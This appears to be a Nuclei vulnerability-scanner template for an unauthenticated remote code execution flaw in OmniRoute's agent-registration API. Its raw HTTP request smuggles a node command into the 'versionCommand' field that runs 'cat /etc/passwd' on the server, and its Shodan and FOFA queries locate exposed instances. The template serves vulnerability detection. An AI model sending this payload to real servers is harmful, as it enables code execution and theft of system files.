id: CVE-2026-88062 info: name: OmniRoute < 3.8.49 - Unauthenticated RCE author: 0x_Akoko severity: critical description: | OmniRoute <= 3.8.49 contains a remote code execution caused by insufficient validation of interpreter arguments in the POST /api/acp/agents endpoint, letting remote attackers execute arbitrary code, exploit requires anonymous access when requireLogin is false or management session/API key when true. impact: | Remote attackers can execute arbitrary code in the server container, potentially leading to full system compromise. remediation: | Update to the latest version once a fix is available. reference: - https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr - https://github.com/diegosouzapw/OmniRoute/pull/11028 - https://nvd.nist.gov/vuln/detail/CVE-2026-88062 classification: cvss-score: 9.5 cve-id: CVE-2026-88062 epss-score: 0.01424 epss-percentile: 0.71865 cwe-id: CWE-94,CWE-306 metadata: verified: true max-request: 1 vendor: omniroute product: omniroute shodan-query: http.title:"OmniRoute" fofa-query: title="OmniRoute" tags: cve,cve2026,omniroute,rce,unauth,ai,vkev variables: agentid: "{{rand_base(8, 'acfhjnprx')}}" agentname: "{{rand_base(8, 'acfhjnprx')}}" alias: "{{rand_base(8, 'acfhjnprx')}}" http: - raw: - | POST /api/acp/agents HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"id":"{{agentid}}","name":"{{agentname}}","binary":"node","versionCommand":"node -e \"process.stdout.write(require('child_process').execSync('cat /etc/passwd').toString())\"","providerAlias":"{{alias}}","spawnArgs":[],"protocol":"stdio","version":"","installed":true,"isCustom":true} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - 'regex("root:.*:0:0:", body)' condition: and # digest: 4b0a00483046022100bc3a84d9e8b9a619cc3207dab713ce3a52f847e81e3525d61eafff19b5f0d672022100e8f7474012539cefb37640c65e3ad2b9e4cb03496aa92c0ded52579ec1ef5e69:922c64590222798bb761d5b6d8e72950